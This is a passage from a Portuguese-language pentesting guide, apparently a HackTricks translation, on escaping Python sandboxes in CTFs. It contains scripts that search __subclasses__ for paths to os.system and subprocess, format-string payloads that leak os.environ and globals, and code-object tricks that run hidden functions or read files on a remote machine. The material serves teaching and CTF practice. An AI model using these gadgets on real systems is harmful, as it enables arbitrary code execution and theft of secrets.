os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pdb:
|
|
"""
|
|
```
|
|
Além disso, se você acha que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das possíveis bibliotecas:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
|
for b in bad_libraries_names + bad_func_names:
|
|
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
|
print(f"{b}: {', '.join(vuln_funcs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pip:
|
|
pdb:
|
|
system: _wrap_close, _wrap_close
|
|
getstatusoutput: CompletedProcess, Popen
|
|
getoutput: CompletedProcess, Popen
|
|
call: CompletedProcess, Popen
|
|
Popen: CompletedProcess, Popen
|
|
spawn:
|
|
import_module:
|
|
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
|
load_source: NullImporter, _HackedGetData
|
|
execfile:
|
|
execute:
|
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
```
|
|
## Pesquisa Recursiva de Builtins, Globals...
|
|
|
|
{% hint style="warning" %}
|
|
Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outra coisa**, basta usar esse script para **encontrar de forma recursiva os locais onde você pode encontrar esse objeto.**
|
|
{% endhint %}
|
|
```python
|
|
import os, sys # Import these to find more gadgets
|
|
|
|
SEARCH_FOR = {
|
|
# Misc
|
|
"__globals__": set(),
|
|
"builtins": set(),
|
|
"__builtins__": set(),
|
|
"open": set(),
|
|
|
|
# RCE libs
|
|
"os": set(),
|
|
"subprocess": set(),
|
|
"commands": set(),
|
|
"pty": set(),
|
|
"importlib": set(),
|
|
"imp": set(),
|
|
"sys": set(),
|
|
"pip": set(),
|
|
"pdb": set(),
|
|
|
|
# RCE methods
|
|
"system": set(),
|
|
"popen": set(),
|
|
"getstatusoutput": set(),
|
|
"getoutput": set(),
|
|
"call": set(),
|
|
"Popen": set(),
|
|
"popen": set(),
|
|
"spawn": set(),
|
|
"import_module": set(),
|
|
"__import__": set(),
|
|
"load_source": set(),
|
|
"execfile": set(),
|
|
"execute": set()
|
|
}
|
|
|
|
#More than 4 is very time consuming
|
|
MAX_CONT = 4
|
|
|
|
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
|
|
#ALREADY_CHECKED = set()
|
|
|
|
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
|
# If bigger than maximum, stop
|
|
if cont > MAX_CONT:
|
|
return
|
|
|
|
# If already checked, stop
|
|
#if name and name in ALREADY_CHECKED:
|
|
# return
|
|
|
|
# Add to already checked
|
|
#if name:
|
|
# ALREADY_CHECKED.add(name)
|
|
|
|
# If found add to the dict
|
|
for k in SEARCH_FOR:
|
|
if k in dir(element) or (type(element) is dict and k in element):
|
|
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
|
|
|
# Continue with the recursivity
|
|
for new_element in dir(element):
|
|
try:
|
|
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
|
|
|
# WARNING: Calling random functions sometimes kills the script
|
|
# Comment this part if you notice that behaviour!!
|
|
if execute:
|
|
try:
|
|
if callable(getattr(element, new_element)):
|
|
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
|
except:
|
|
pass
|
|
|
|
except:
|
|
pass
|
|
|
|
# If in a dict, scan also each key, very important
|
|
if type(element) is dict:
|
|
for new_element in element:
|
|
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
|
|
|
|
|
def main():
|
|
print("Checking from empty string...")
|
|
total = [""]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
|
|
|
print()
|
|
print("Checking loaded subclasses...")
|
|
total = "".__class__.__base__.__subclasses__()
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
|
|
|
print()
|
|
print("Checking from global functions...")
|
|
total = [print, check_recursive]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
|
|
|
print()
|
|
print(SEARCH_FOR)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
Pode verificar a saída deste script nesta página:
|
|
|
|
{% content-ref url="broken-reference/" %}
|
|
[broken-reference](broken-reference/)
|
|
{% endcontent-ref %}
|
|
|
|
## Python Format String
|
|
|
|
Se **enviar** uma **string** para o python que vai ser **formatada**, pode usar `{}` para aceder a **informações internas do python**. Pode usar os exemplos anteriores para aceder a globais ou builtins, por exemplo.
|
|
|
|
{% hint style="info" %}
|
|
No entanto, há uma **limitação**, só pode usar os símbolos `.[]`, então **não poderá executar código arbitrário**, apenas ler informações.\
|
|
_**Se souber como executar código através desta vulnerabilidade, por favor entre em contato comigo.**_
|
|
{% endhint %}
|
|
```python
|
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
|
CONFIG = {
|
|
"KEY": "ASXFYFGK78989"
|
|
}
|
|
|
|
class PeopleInfo:
|
|
def __init__(self, fname, lname):
|
|
self.fname = fname
|
|
self.lname = lname
|
|
|
|
def get_name_for_avatar(avatar_str, people_obj):
|
|
return avatar_str.format(people_obj = people_obj)
|
|
|
|
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
|
|
|
|
Também observe que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
|
|
|
Algumas outras características interessantes das strings de formatação são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
|
|
```python
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
Além disso, é possível **codificar novos formatadores** em classes:
|
|
```python
|
|
class HAL9000(object):
|
|
def __format__(self, format):
|
|
if (format == 'open-the-pod-bay-doors'):
|
|
return "I'm afraid I can't do that."
|
|
return 'HAL 9000'
|
|
|
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
|
#I'm afraid I can't do that.
|
|
```
|
|
**Mais exemplos** sobre exemplos de **formatação de string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
|
|
|
|
{% hint style="danger" %}
|
|
Verifique também a seguinte página para gadgets que irão **ler informações sensíveis de objetos internos do Python**:
|
|
{% endhint %}
|
|
|
|
{% content-ref url="../python-internal-read-gadgets.md" %}
|
|
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Cargas de Divulgação de Informações Sensíveis
|
|
```python
|
|
{whoami.__class__.__dict__}
|
|
{whoami.__globals__[os].__dict__}
|
|
{whoami.__globals__[os].environ}
|
|
{whoami.__globals__[sys].path}
|
|
{whoami.__globals__[sys].modules}
|
|
|
|
# Access an element through several links
|
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
|
```
|
|
## Dissecando Objetos Python
|
|
|
|
{% hint style="info" %}
|
|
Se você deseja aprender sobre o **bytecode do Python** em profundidade, leia este incrível artigo sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
|
{% endhint %}
|
|
|
|
Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** está localizada e precisa ver os **detalhes** da **função** para extraí-la.
|
|
|
|
Esta é a função a ser inspecionada:
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
if some_input == var2:
|
|
return "THIS-IS-THE-FALG!"
|
|
else:
|
|
return "Nope"
|
|
```
|
|
#### dir
|
|
```python
|
|
dir() #General dir() to find what we have loaded
|
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
|
dir(get_flag) #Get info tof the function
|
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
|
```
|
|
#### globals
|
|
|
|
`__globals__` e `func_globals`(Mesmo) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:
|
|
```python
|
|
get_flag.func_globals
|
|
get_flag.__globals__
|
|
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
|
|
|
#If you have access to some variable value
|
|
CustomClassObject.__class__.__init__.__globals__
|
|
```
|
|
[**Veja aqui mais lugares para obter globais**](./#globals-and-locals)
|
|
|
|
### **Acessando o código da função**
|
|
|
|
**`__code__`** e `func_code`: Você pode **acessar** este **atributo** da função para **obter o objeto de código** da função.
|
|
```python
|
|
# In our current example
|
|
get_flag.__code__
|
|
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
|
|
|
# Compiling some python code
|
|
compile("print(5)", "", "single")
|
|
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
|
|
|
#Get the attributes of the code object
|
|
dir(get_flag.__code__)
|
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
|
```
|
|
### Obtendo Informações do Código
|
|
```python
|
|
# Another example
|
|
s = '''
|
|
a = 5
|
|
b = 'text'
|
|
def f(x):
|
|
return x
|
|
f(5)
|
|
'''
|
|
c=compile(s, "", "exec")
|
|
|
|
# __doc__: Get the description of the function, if any
|
|
print.__doc__
|
|
|
|
# co_consts: Constants
|
|
get_flag.__code__.co_consts
|
|
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
|
|
|
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
|
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
|
|
|
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
|
get_flag.__code__.co_names
|
|
()
|
|
|
|
c.co_names
|
|
('a', 'b', 'f')
|
|
|
|
|
|
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
|
get_flag.__code__.co_varnames
|
|
('some_input', 'var1', 'var2', 'var3')
|
|
|
|
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
|
get_flag.__code__.co_cellvars
|
|
()
|
|
|
|
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
|
get_flag.__code__.co_freevars
|
|
()
|
|
|
|
#Get bytecode
|
|
get_flag.__code__.co_code
|
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
|
```
|
|
### **Desmontar uma função**
|
|
```python
|
|
import dis
|
|
dis.dis(get_flag)
|
|
2 0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (var1)
|
|
|
|
3 6 LOAD_CONST 2 ('secretcode')
|
|
9 STORE_FAST 2 (var2)
|
|
|
|
4 12 LOAD_CONST 3 ('some')
|
|
15 LOAD_CONST 4 ('array')
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (var3)
|
|
|
|
5 24 LOAD_FAST 0 (some_input)
|
|
27 LOAD_FAST 2 (var2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
|
|
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
|
|
39 RETURN_VALUE
|
|
|
|
8 >> 40 LOAD_CONST 6 ('Nope')
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (None)
|
|
47 RETURN_VALUE
|
|
```
|
|
Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
|
```python
|
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
|
0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (1)
|
|
6 LOAD_CONST 2 (2)
|
|
9 STORE_FAST 2 (2)
|
|
12 LOAD_CONST 3 (3)
|
|
15 LOAD_CONST 4 (4)
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (3)
|
|
24 LOAD_FAST 0 (0)
|
|
27 LOAD_FAST 2 (2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
36 LOAD_CONST 5 (5)
|
|
39 RETURN_VALUE
|
|
>> 40 LOAD_CONST 6 (6)
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (0)
|
|
47 RETURN_VALUE
|
|
```
|
|
## Compilando Python
|
|
|
|
Agora, vamos imaginar que de alguma forma você consiga **extrair informações sobre uma função que não pode ser executada**, mas que você **precisa** **executar**.\
|
|
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte, você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_).
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
def calc_flag(flag_rot2):
|
|
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
|
if some_input == var2:
|
|
return calc_flag("VjkuKuVjgHnci")
|
|
else:
|
|
return "Nope"
|
|
```
|
|
### Criando o objeto de código
|
|
|
|
Primeiramente, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função vazada:
|
|
```python
|
|
code_type = type((lambda: None).__code__)
|
|
# Check the following hint if you get an error in calling this
|
|
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
|
co_nlocals, co_stacksize, co_flags,
|
|
co_code, co_consts, co_names,
|
|
co_varnames, co_filename, co_name,
|
|
co_firstlineno, co_lnotab, freevars=None,
|
|
cellvars=None)
|
|
|
|
# Execution
|
|
eval(code_obj) #Execute as a whole script
|
|
|
|
# If you have the code of a function, execute it
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
```
|
|
{% hint style="info" %}
|
|
Dependendo da versão do Python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do Python que você está executando é executar:
|
|
```
|
|
import types
|
|
types.CodeType.__doc__
|
|
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
|
```
|
|
{% endhint %}
|
|
|
|
### Recreando uma função vazada
|
|
|
|
{% hint style="warning" %}
|
|
No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função a partir do objeto de código da função diretamente. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **você precisará vazar**.
|
|
{% endhint %}
|
|
```python
|
|
fc = get_flag.__code__
|
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
|
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
|
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
#ThisIsTheFlag
|
|
```
|
|
### Bypassar Defesas
|
|
|
|
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código Python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **única linha** (e poderíamos fazer o mesmo usando **`exec`**).\
|
|
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compile` no CTF).
|
|
|
|
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
|
|
```python
|
|
#Locally
|
|
def read():
|
|
return open("./poc.py",'r').read()
|
|
|
|
read.__code__.co_code
|
|
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
```
|
|
|
|
```python
|
|
#On Remote
|
|
function_type = type(lambda: None)
|
|
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
|
consts = (None, "./poc.py", 'r')
|
|
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
names = ('open','read')
|
|
|
|
# And execute it using eval/exec
|
|
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
|
|
|
